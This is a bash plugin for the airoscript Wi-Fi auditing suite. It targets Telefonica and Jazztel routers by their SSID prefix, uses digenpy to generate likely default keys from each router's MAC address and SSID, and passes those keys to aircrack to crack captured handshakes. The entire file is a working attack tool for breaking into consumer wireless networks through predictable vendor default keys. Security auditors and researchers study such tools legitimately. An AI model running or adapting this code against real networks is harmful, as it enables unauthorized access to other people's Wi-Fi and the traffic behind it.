#!/bin/bash
# Dict generators for airoscript
# Depends on digenpy_
# Copyright (C) 2009-2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.



digenpy_(){
    if [ "$3" == "crack" ]; then
        execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap
    else AUTO=1; QUIET=0;
        warn "Calling digenpy $1 $2 $Host_MAC $Host_SSID >/$DUMP_PATH/digenpy__dic"
        digenpy $1 $2 $Host_MAC $Host_SSID  > $DUMP_PATH/digenpy__dic
    AUTO=0; QUIET=""; fi
}

Telefonica(){
    if [[ "$Host_SSID" =~ WLAN* ]]; then 
        warn "It's a telefonica network. Calling digenpy_"; 
        digenpy_ Spanish Telefonica $Host_MAC $Host_SSID; 
        digenpy_ Spanish Telefonica crack; 
        cracked=1; 
    else 
        _ "\tIs not a telefonica network"; 
    fi 
}

Jazztel(){ 
    if [[ "$Host_SSID" =~ JAZZTEL* ]]; then 
        digenpy_ Spanish Jazztel $Host_MAC $Host_SSID ;
        digenpy_ Spanish Jazztel crack; 
        cracked=1; 
    else 
        _ "\tIs not a jazztel network";
    fi;
}

auto(){
    if [ "$Host_SSID" == "" ]; then clear; echo -e "`gettext 'Error: You must select a target first'`\n"; return; fi

    if [ "$1" == "return_ivs" ]; then
        for function in $_functions; do $function; [[ "$cracked" == "1" ]] && return 4; done
        return 255
    else
        warn "$mark Checking..."
        warn "Available $mfunctions"
        for function in "Telefonica" "Jazztel"; do warn "Trying  $function"; $function; [[ "$cracked" == "1" ]] && return; done
        _ "Cant crack this network like this, do it manually"

        if [ "$1" == "autocrack" ]; then
        AUTO=1; crack; wait $! ; AUTO=0
        else
            selectcracking
        fi

    fi
}
